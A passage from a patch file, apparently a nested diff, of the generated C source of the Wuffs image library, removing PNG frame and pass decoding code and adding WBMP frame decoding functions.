self->private_impl.f_chunk_type_array[1u] = 100u; -- self->private_impl.f_chunk_type_array[2u] = 65u; -- self->private_impl.f_chunk_type_array[3u] = 84u; -- if (self->private_impl.f_chunk_length < 4u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length -= 4u; -- iop_a_src += 8u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_frame[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_frame[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -- } -- v_seq_num = t_0; -- } -- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { -- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); -- goto exit; -- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -- goto exit; -- } -- self->private_impl.f_next_animation_seq_num += 1u; -- break; -- } else if (self->private_impl.f_chunk_type == 1280598886u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_data.s_do_decode_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; -- self->private_impl.f_chunk_length = 0u; -- } -- if (self->private_impl.f_zlib_is_dirty) { -- wuffs_base__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, -- sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -- if (self->private_impl.f_ignore_checksum) { -- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); -- } -- } -- self->private_impl.f_zlib_is_dirty = true; -- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -- wuffs_base__pixel_buffer__pixel_format(a_dst), -- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), -- wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), -- a_blend); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); - goto exit; - } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ self->private_impl.f_call_sequence = 96u; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); - goto ok; - } -- self->private_impl.f_workbuf_hist_pos_base = 0u; -- while (true) { -- if (self->private_impl.f_chunk_type_array[0u] == 73u) { -- v_pass_width = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][1u])) + self->private_impl.f_width) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u])); -- v_pass_height = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][4u])) + self->private_impl.f_height) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u])); -- } else { -- v_pass_width = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_x1 - self->private_impl.f_frame_rect_x0))); -- v_pass_height = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_y1 - self->private_impl.f_frame_rect_y0))); -- } -- if ((v_pass_width > 0u) && (v_pass_height > 0u)) { -- self->private_impl.f_pass_bytes_per_row = wuffs_png__decoder__calculate_bytes_per_row(self, v_pass_width); -- self->private_impl.f_pass_workbuf_length = (((uint64_t)(v_pass_height)) * (1u + self->private_impl.f_pass_bytes_per_row)); -- while (true) { -- { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- wuffs_base__status t_1 = wuffs_png__decoder__decode_pass(self, a_src, a_workbuf); -- v_status = t_1; -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } -- if (wuffs_base__status__is_ok(&v_status)) { -- break; -- } else if (wuffs_base__status__is_error(&v_status) || ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed))) { -- if (self->private_impl.f_workbuf_wi <= ((uint64_t)(a_workbuf.len))) { -- wuffs_png__decoder__filter_and_swizzle(self, a_dst, wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_workbuf_wi)); -- } -- if (v_status.repr == wuffs_base__suspension__short_read) { -- status = wuffs_base__make_status(wuffs_png__error__truncated_input); -- goto exit; -- } -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -- } -- v_status = wuffs_png__decoder__filter_and_swizzle(self, a_dst, a_workbuf); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } -- self->private_impl.f_workbuf_hist_pos_base += self->private_impl.f_pass_workbuf_length; -- } -- if ((self->private_impl.f_interlace_pass == 0u) || (self->private_impl.f_interlace_pass >= 7u)) { -- break; -- } --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_impl.f_interlace_pass += 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height), -+ ((wuffs_base__flicks)(0u)), -+ 0u, -+ self->private_impl.f_frame_config_io_position, -+ 0u, -+ true, -+ false, -+ 4278190080u); - } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -- self->private_impl.f_call_sequence = 32u; -+ self->private_impl.f_call_sequence = 64u; - - ok: -- self->private_impl.p_do_decode_frame[0] = 0; -+ self->private_impl.p_do_decode_frame_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -@@ -57537,338 +71103,217 @@ wuffs_png__decoder__do_decode_frame( - return status; - } - --// -------- func png.decoder.decode_pass -+// -------- func wbmp.decoder.decode_frame - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_pass( -- wuffs_png__decoder* self, -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__decode_frame( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, - wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 3)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_w = &u_w; -- uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint64_t v_w_mark = 0; -- uint64_t v_r_mark = 0; -- wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); -- uint32_t v_checksum_have = 0; -- uint32_t v_checksum_want = 0; -- uint32_t v_seq_num = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_pass[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- self->private_impl.f_workbuf_wi = 0u; - while (true) { -- if ((self->private_impl.f_workbuf_wi > self->private_impl.f_pass_workbuf_length) || (self->private_impl.f_pass_workbuf_length > ((uint64_t)(a_workbuf.len)))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -- goto exit; -- } - { -- wuffs_base__io_buffer* o_0_v_w = v_w; -- uint8_t *o_0_iop_v_w = iop_v_w; -- uint8_t *o_0_io0_v_w = io0_v_w; -- uint8_t *o_0_io1_v_w = io1_v_w; -- uint8_t *o_0_io2_v_w = io2_v_w; -- v_w = wuffs_base__io_writer__set( -- &u_w, -- &iop_v_w, -- &io0_v_w, -- &io1_v_w, -- &io2_v_w, -- wuffs_base__slice_u8__subslice_ij(a_workbuf, -- self->private_impl.f_workbuf_wi, -- self->private_impl.f_pass_workbuf_length), -- ((uint64_t)(self->private_impl.f_workbuf_hist_pos_base + self->private_impl.f_workbuf_wi))); -- { -- const bool o_1_closed_a_src = a_src->meta.closed; -- const uint8_t *o_1_io2_a_src = io2_a_src; -- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, -- ((uint64_t)(self->private_impl.f_chunk_length))); -- if (a_src) { -- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -- a_src->meta.wi = n; -- } -- v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); -- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -- { -- u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); -- v_zlib_status = t_0; -- iop_v_w = u_w.data.ptr + u_w.meta.wi; -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } -- if ( ! self->private_impl.f_ignore_checksum) { -- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -- } -- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_workbuf_wi, wuffs_base__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w)))); -- io2_a_src = o_1_io2_a_src; -- if (a_src) { -- a_src->meta.closed = o_1_closed_a_src; -- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -- } -- } -- v_w = o_0_v_w; -- iop_v_w = o_0_iop_v_w; -- io0_v_w = o_0_io0_v_w; -- io1_v_w = o_0_io1_v_w; -- io2_v_w = o_0_io2_v_w; -+ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); -+ v_status = t_0; - } -- if (wuffs_base__status__is_ok(&v_zlib_status)) { -- if (self->private_impl.f_chunk_length > 0u) { -- status = wuffs_base__make_status(wuffs_base__error__too_much_data); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_pass[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -- if (num_bits_1 == 24) { -- t_1 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)); -- } -- } -- v_checksum_want = t_1; -- } -- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { -- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); -- if (v_checksum_have != v_checksum_want) { -- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -- goto exit; -- } -- } -- break; -- } else if (v_zlib_status.repr == wuffs_base__suspension__short_write) { -- if ((1u <= self->private_impl.f_interlace_pass) && (self->private_impl.f_interlace_pass <= 6u)) { -- break; -- } -- status = wuffs_base__make_status(wuffs_base__error__too_much_data); -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); - goto exit; -- } else if (v_zlib_status.repr != wuffs_base__suspension__short_read) { -- status = v_zlib_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } else if (self->private_impl.f_chunk_length == 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_pass[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -- if (num_bits_2 == 24) { -- t_2 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)); -- } -- } -- v_checksum_want = t_2; -- } -- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { -- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); -- if (v_checksum_have != v_checksum_want) { -- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -- goto exit; -- } -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- uint32_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_pass[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -- if (num_bits_3 == 24) { -- t_3 = ((uint32_t)(*scratch >> 32)); -- break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func wbmp.decoder.do_decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_wbmp__decoder__do_decode_frame( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint64_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_x_in_bytes = 0; -+ uint32_t v_dst_x = 0; -+ uint32_t v_dst_y = 0; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint8_t v_src[1] = {0}; -+ uint8_t v_c8 = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; -+ if (coro_susp_point) { -+ v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel; -+ v_dst_x = self->private_data.s_do_decode_frame.v_dst_x; -+ v_dst_y = self->private_data.s_do_decode_frame.v_dst_y; -+ memcpy(v_src, self->private_data.s_do_decode_frame.v_src, sizeof(v_src)); -+ v_c8 = self->private_data.s_do_decode_frame.v_c8; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_wbmp__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette(a_dst), -+ wuffs_base__utility__make_pixel_format(536870920u), -+ wuffs_base__utility__empty_slice_u8(), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ goto exit; -+ } -+ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); -+ if (self->private_impl.f_width > 0u) { -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ while (v_dst_y < self->private_impl.f_height) { -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); -+ v_dst_x = 0u; -+ while (v_dst_x < self->private_impl.f_width) { -+ if ((v_dst_x & 7u) == 0u) { -+ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); -+ v_dst_x_in_bytes = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); -+ if (v_dst_x_in_bytes <= ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_x_in_bytes); - } -- num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)); - } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; - } -- self->private_impl.f_chunk_length = t_3; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- uint32_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -+ if (((uint8_t)(v_c8 & 128u)) == 0u) { -+ v_src[0u] = 0u; - } else { -- self->private_data.s_decode_pass[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -- if (num_bits_4 == 24) { -- t_4 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)) << 56; -- } -- } -- self->private_impl.f_chunk_type = t_4; -- } -- if (self->private_impl.f_chunk_type_array[0u] == 73u) { -- if (self->private_impl.f_chunk_type != 1413563465u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if ( ! self->private_impl.f_ignore_checksum) { -- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); -- } -- } else { -- if ((self->private_impl.f_chunk_type != 1413571686u) || (self->private_impl.f_chunk_length < 4u)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length -= 4u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- uint32_t t_5; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_pass[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; -- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -- if (num_bits_5 == 24) { -- t_5 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_5 += 8u; -- *scratch |= ((uint64_t)(num_bits_5)); -- } -- } -- v_seq_num = t_5; -+ v_src[0u] = 255u; - } -- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { -- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); -- goto exit; -- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -- goto exit; -+ v_c8 = ((uint8_t)((((uint32_t)(v_c8)) << 1u))); -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__utility__empty_slice_u8(), wuffs_base__make_slice_u8(v_src, 1)); -+ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); - } -- self->private_impl.f_next_animation_seq_num += 1u; -+ v_dst_x += 1u; - } -- continue; -- } else if (((uint64_t)(io2_a_src - iop_a_src)) > 0u) { -- status = wuffs_base__make_status(wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); -- } -- if (self->private_impl.f_workbuf_wi != self->private_impl.f_pass_workbuf_length) { -- status = wuffs_base__make_status(wuffs_base__error__not_enough_data); -- goto exit; -- } else if (0u < ((uint64_t)(a_workbuf.len))) { -- if (a_workbuf.ptr[0u] == 4u) { -- a_workbuf.ptr[0u] = 1u; -+ v_dst_y += 1u; - } - } -+ self->private_impl.f_call_sequence = 96u; - - ok: -- self->private_impl.p_decode_pass[0] = 0; -+ self->private_impl.p_do_decode_frame = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_pass[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; -+ self->private_data.s_do_decode_frame.v_dst_x = v_dst_x; -+ self->private_data.s_do_decode_frame.v_dst_y = v_dst_y; -+ memcpy(self->private_data.s_do_decode_frame.v_src, v_src, sizeof(v_src)); 